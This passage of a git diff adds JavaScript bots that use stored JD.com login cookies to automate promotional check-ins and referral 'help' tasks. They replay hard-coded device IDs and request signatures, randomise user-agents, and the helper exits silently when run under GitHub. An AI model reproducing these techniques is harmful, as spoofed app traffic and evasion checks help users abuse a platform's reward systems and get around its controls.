Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + //自定义助力码 + if (process.env.MONEYTREE_SHARECODES) { + if (process.env.MONEYTREE_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.MONEYTREE_SHARECODES.split('\n'); + } else { + shareCodes = process.env.MONEYTREE_SHARECODES.split('&'); + } + } + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + let inviteCodes = [ + '' + ]; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将为本脚本作者【zero205】助力\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); "undefined" != typeof process && JSON.stringify(process.env.JD_COOKIE).indexOf("jd_4685b2157f874") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_morningSc.js b/jd_morningSc.js new file mode 100644 index 0000000..bb3e0c0 --- /dev/null +++ b/jd_morningSc.js @@ -0,0 +1,212 @@ +/* +入口:APP搜-生鲜早起打卡 +支付一元才能参与打卡,填写环境变量morningScPins给指定CK打卡 +15 6,7 * * * jd_morningSc.js +*/ +const $ = new Env("生鲜早起打卡") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +var pins = process.env.morningScPins ?? "" +let cookie = ''; +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if(!pins){ + console.log("未设置变量,指定CK的pin 如:morningScPins='pt_pin1&pt_pin2'") + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + if(!pins || pins.indexOf(pin)==-1){ + continue + } + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + data = await queryUserInfo() + if (!data?.body?.isClockDay) { + if(data?.body?.clockStatus){ + if(data?.body?.paymentStatus){ + console.log("已经打过卡了,明天再来打卡吧") + }else{ + console.log("已经打过卡了,未参加明天的打卡") + } + + }else{ + console.log("未参与打卡活动") + } + continue + } else { + + } + data = await clockIn() + if (data?.head?.code == 200) { + notify.sendNotify(`早起赢现金打卡成功,记得参与明天的打卡活动哦`,''); + } else { + notify.sendNotify(`早起赢现金打卡错误`, data); + } + } + } +})() + +function queryUserInfo() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=morning_sc_queryUserInfo', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + body: `adid=BC3866ED-A85F-40FA-830E-508F0F7226EE&body={}&build=167724&client=apple&clientVersion=10.0.6&openudid=84106e1c43687f454bfb69b7831034a7f02e2d62&sign=ddf05193cf9b3960b8bb486e1861a70f&st=1626353585939&sv=110` + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.data) { + console.log(data.data.bizMsg) + } + if (data.errorMessage) { + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function clockIn() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=morning_sc_clockIn', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + body: `adid=BC3866ED-A85F-40FA-830E-508F0F7226EE&area=20_1726_22885_51456&body={}&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone10,4&joycious=94&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=84106e1c43687f454bfb69b7831034a7f02e2d62&osVersion=14.4.2&partner=apple&rfs=0000&scope=10&screen=750*1334&sign=493d44a41b6d852e024c75cbaacf51d2&st=1626478320220&sv=121&uemps=0-0&uts=0f31TVRjBSulv7BX1PVDEL+N224mGHmcXDxrm4KUU12U5TiWKO80M8NhmREN8AbYjX/cYxQZMj6dPyVM7JTDXDlk8K/RJ8KM1Yvh9BQ39IZXuuMt6KCAs0vkhr0Vpi91T+T36Xjdi/wgv3BzIR3BjFcMnccL+ht5gtKPSCNseuUCFsj9Sn6tgKI8QlIk4/oKAUhYBd5NKA+FS1ya0bJSBQ==&uuid=hjudwgohxzVu96krv/T6Hg==` + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.data) { + console.log(data.data.bizMsg) + } + if (data.errorMessage) { + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_mpdz_car_help.js b/jd_mpdz_car_help.js new file mode 100644 index 0000000..1458034 --- /dev/null +++ b/jd_mpdz_car_help.js @@ -0,0 +1,40 @@ +/* + +16 16,17,18 * * * jd_mpdz_help.js +*/ +const $ = new Env("头文字j助力"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +const CryptoJS = require("crypto-js") +let ownCode = null; +let mpdzHelp = process.env.mpdzHelpCode ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} + +if (process.env.mpdzHelpCode) { + if (process.env.mpdzHelpCode.indexOf('&') > -1) { + mpdzHelp = process.env.mpdzHelpCode.split('&'); + } else if (process.env.mpdzHelpCode.indexOf('\n') > -1) { + mpdzHelp = process.env.mpdzHelpCode.split('\n'); + } else { + mpdzHelp = [process.env.mpdzHelpCode]; + } +} + +var 